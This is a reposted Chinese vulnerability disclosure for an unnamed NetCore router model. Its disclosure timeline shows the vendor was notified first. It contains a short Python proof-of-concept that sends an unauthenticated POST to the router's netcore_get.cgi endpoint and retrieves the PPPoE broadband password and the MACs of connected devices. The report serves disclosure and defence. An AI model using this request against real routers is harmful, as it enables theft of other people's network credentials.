神刀安全网

漏洞标题: NetCore磊科的某型号路由器可权限绕过获取敏感信息

漏洞详情

披露状态:

2016-02-14: 细节已通知厂商并且等待厂商处理中
2016-02-17: 厂商已经确认,细节仅向厂商公开
2016-02-20: 细节向第三方安全合作伙伴开放(绿盟科技唐朝安全巡航无声信息
2016-04-12: 细节向核心白帽子及相关领域专家公开
2016-04-22: 细节向普通白帽子公开
2016-05-02: 细节向实习白帽子公开
2016-05-17: 细节向公众公开

简要描述:

NetCore磊科路由器的某个型号权限验证配置不当,存在权限绕过漏洞,攻击者可以直接获取路由器上的所有信息。

详细说明:

回家几天,见挺多人蹭我家WiFi的,于是登录来想改一下WiFi密码,一登录,按错手按了F12,按了我也没有关,顺手看了浏览器不断在请求的URL,我用python模拟POST了一下,居然可以获取到一条json。一分析结果真是下我一跳,我家的登录宽带帐号和密码都出来了。

型号什么的我不管了。

漏洞标题:  NetCore磊科的某型号路由器可权限绕过获取敏感信息

然后一个是浏览器在请求的截图

漏洞标题:  NetCore磊科的某型号路由器可权限绕过获取敏感信息

就是在这条URL里面。

漏洞证明:

直接上代码。

code 区域
import requests
fs = {"mode_name": "netcore_get", "no": "no"}
rs = requests.post("**.**.**.**/cgi-bin-igd/netcore_get.cgi", data=fs).content
print rs

于是有了以下的json:

漏洞标题:  NetCore磊科的某型号路由器可权限绕过获取敏感信息

其中pppoe_username是宽带登录用户名,pppoe_pwd是密码,然后下面有所有联网设备的mac,还有攻击日志什么的(未截图完整)

未发现管理员密码,这个是万幸么,呵呵哒

修复方案:

版权声明:转载请注明来源 路人甲@乌云

转载本站任何文章请注明:转载至神刀安全网,谢谢神刀安全网 » 漏洞标题: NetCore磊科的某型号路由器可权限绕过获取敏感信息

分享到:更多 ()

评论 抢沙发

  • 昵称 (必填)
  • 邮箱 (必填)
  • 网址